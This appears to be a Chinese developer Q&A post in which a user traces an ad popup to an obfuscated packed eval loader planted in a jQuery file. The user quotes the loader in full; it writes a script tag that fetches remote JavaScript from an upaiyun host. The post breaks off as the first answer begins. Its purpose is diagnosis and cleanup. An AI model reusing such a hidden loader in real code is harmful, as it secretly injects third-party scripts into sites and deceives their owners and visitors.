javascript - js源文件中被写入了恶意代码,如何找出?
天蓬老师
天蓬老师 2017-04-11 12:42:57
0
5
586

源代码里被人写了一段代码... 然后 chrome 的 Console中 会有这个提示:
A Parser-blocking, cross site (i.e. different eTLD+1) script, https://banquan.b0.upaiyun.com/copy.js, is invoked via document.write. This MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message.See https://www.chromestatus.com/feature/5718547946799104 for more details.
被写入的代码是,让网页左下角一直有个弹窗.... 就是小窗口一样的,可以关,但每一次打开都会有。
源文件的结构是

删了 jquery-2.1.1.min.js 后就没了, 判断出应该是加在这里
在index.html 末尾加入window.onload = function(){}后也会消失
查过说是 跨域 什么什么的, 基础还不好,所以不是很明白什么意思,仍然找不出来。
不知道通过什么方式实现的,希望有人能讲讲如何实现 js跨域然后又藏的一般人找不出来....
我觉得这问题很严重.....
还有点那啥...
深感自己的不足
希望有人能解答一下....


不好意思,我有一点没说清楚, 我这是在本地的,没有传上服务器,我把网关掉后、清空cookie就不会有了,联网后才有。
(本地的文件应该不会被劫持什么的吧...)
(应该是源代码里有一段是调用了其他网站的js文件,然后他又做了手脚...我这样没啥经验的就找不出来了..)

=== 3.16 ====
先谢谢各位的回答
修改jquery-2.1.1.min.js的文件名后就没有那个弹窗了, 不过他写在源码里的东西还在, 现在就是想请教一下 实现这类操作的方法是什么? 我想学习后从根本上解决它...
=== 4个小时后.... ====
改文件名没用..... 是我测试的时候太匆忙了..... 很尴尬....
==== 3.18 ====
根据小明的回答...
搜索了关键词upaiyun就找到了一段

`eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('2.7("<0 3=\'4/5\' 6=\'1://8.9.a.b/c.d\'>\\e/0>");', 15, 15, 'script|https|document|type|text|javascript|src|writeln|banquan|b0|upaiyun|com|copy|js|x3c'.split('|'), 0, {}));`

删除后广告也消失了(console也没报错...应该是单纯的广告代码吧...)
虽然看不懂,不过已经可以研究了

再次感谢诸位的回答,谢谢

天蓬老师
天蓬老师

欢迎选择我的课程,让我们一起见证您的进步~~

全部回复 (5)
洪涛

先讲结论(信息不足,只能猜测):最大的可能是这个jquery-2.1.1.min.js文件被篡改,在原版的基础上加入了类似

document.write('